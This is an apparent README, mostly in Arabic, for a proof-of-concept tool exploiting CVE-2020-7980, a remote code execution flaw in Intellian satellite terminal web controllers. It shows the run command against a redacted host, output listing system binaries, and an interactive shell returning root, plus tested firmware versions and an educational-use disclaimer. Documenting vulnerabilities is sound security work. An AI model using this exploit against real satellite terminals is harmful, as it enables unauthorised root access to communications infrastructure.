Satellian-CVE-2020-7980

Satellian هو نص PoC يُظهر ثغرة RCE في وحدة التحكم بالقمر الصناعي Intellian (Intellian Aptus Web).

سوف يحاول النص التالي سرد جميع الملفات الثنائية في النظام، وبعد ذلك سيسمح للمختبر بالتفاعل مباشرة مع الخادم (عادةً كجذر).

PoC

xh4h@Macbook-xh4h ~/Satellian> python satellian.py -u http://<redacted>
                  ________________________________________
         (__)    /                                        \
         (oo)   (     Intellian Satellite Terminal PoC     )
  /-------\/ --' \________________________________________/ 
 / |     ||
*  ||----||             

Performing initial scan. Listing available system binaries.
Starting request to http://<redacted>
Executing command /bin/ls /bin
acu_server
acu_tool
addgroup
adduser
...

Satellian $ id
uid=0(root) gid=0(root)

الإصدارات التي تم اختبارها

Intellian v1.12, v1.21, v1.24.

إخلاء مسؤولية

جميع المعلومات في هذا المستودع هي لأغراض تعليمية فقط. المؤلف غير مسؤول بأي حال من الأحوال عن أي إساءة استخدام لهذه المعلومات. هذا النص هو مجرد إثبات للمفهوم، ولم يتم تطويره بأي حال من الأحوال للأنشطة الضارة.